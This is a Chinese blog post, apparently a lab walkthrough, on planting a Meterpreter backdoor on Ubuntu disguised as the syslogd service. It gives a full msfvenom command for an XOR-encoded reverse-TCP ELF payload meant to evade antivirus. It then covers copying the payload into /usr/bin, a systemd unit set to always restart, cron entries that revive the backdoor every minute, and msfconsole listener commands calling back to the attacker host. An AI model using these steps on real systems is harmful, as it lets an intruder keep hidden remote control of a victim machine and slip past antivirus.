木马伪装linux服务
前言
记录了一次从生成免杀 Meterpreter 载荷、创建 Systemd 持久化服务,到获取会话的过程。
很多步骤很简单,总的流程差不多这样吧,遇到过通过cron定时任务启动的,将后门执行命令写入 /etc/crontab 或 /var/spool/cron/crontabs/root ,定时任务启动的“复活”办法。
环境信息
| 角色 | IP 地址 | 操作系统 |
|---|---|---|
| 攻击机 (Kali) | 192.168.11.146 | Kali Linux 2024.2 |
| 目标机 (受害) | 192.168.11.128 | Ubuntu 22.04 LTS |
攻击链概览
- 利用
x64/xor_dynamic编码器生成免杀 ELF 反向载荷 - 直接将载荷投递至目标
/usr/bin/,伪装成系统进程syslogd - 创建 Systemd 服务单元,实现崩溃自动重启与开机自启
- 攻击机开启 Meterpreter 监听,成功上线
操作步骤
生成免杀 ELF 载荷
UPX 加壳会被火绒立即查杀,但使用 x64/xor_dynamic 编码器多次迭代可有效绕过落地杀(启动后没检测过是否会被查杀):
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.11.146 LPORT=4444 -e x64/xor_dynamic -i 3 -f elf -o syslogd |
- -p:指定 64 位 Meterpreter 反向 TCP 负载
- LHOST:攻击机 IP
- LPORT:监听端口
- -e x64/xor_dynamic:动态 XOR 编码器,每次生成不同 XOR 密钥,特征不固定
- -i 3:迭代编码 3 次,增加混淆度
- -o syslogd:输出文件,伪装成系统日志进程
将载荷投递至目标系统目录
假设已知目标 root 密码,通过 SCP 一步到位放入 /usr/bin/,并远程赋权:
1 | scp syslogd root@192.168.11.128:/usr/bin/syslogd |
创建 Systemd 持久化服务
登录目标机,编写伪装服务单元文件:
1 | cat <<EOF > /etc/systemd/system/syslogd.service |
核心参数说明:
- Restart=always:进程被手动 kill 后 5 秒自动重启
- WantedBy=multi-user.target:开机自启
重载并启动服务:
1 | systemctl daemon-reload |
检查服务状态:
1 | systemctl status syslogd |
攻击机开启监听
在 Kali 上启动 Metasploit 监听器,建议绑定所有接口避免 IP 绑定错误:
1 | msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.11.146; set LPORT 4444; run" |
持久化验证:
1 | kill -9 $(pgrep syslogd) |
cron定时任务双保险
在已获得目标机 root 权限的前提下,添加一条每分钟执行一次的隐藏 Cron 任务,使后门即使被 Systemd 停用也能自动复活。
修改系统级 Crontab
1 | echo "* * * * * root /usr/bin/syslogd" >> /etc/crontab |
- 每分钟以 root 身份执行一次 /usr/bin/syslogd
- 与每分钟执行结合,即使服务被删,重启后也能立即复活
直接写入用户 Crontab
1 | (crontab -l 2>/dev/null; echo "* * * * * /usr/bin/syslogd") | crontab - |
- 如果当前是 root 用户,此命令会将任务写入 root 的私有 Crontab 文件
- 查看效果:
crontab -l
模拟清理防守方服务
1 | systemctl stop syslogd.service |
攻击机开启监听
开启监听,等待目标机木马启动后,即可上线:
1 | msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.11.146; set LPORT 4444; run" |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 HAHA!





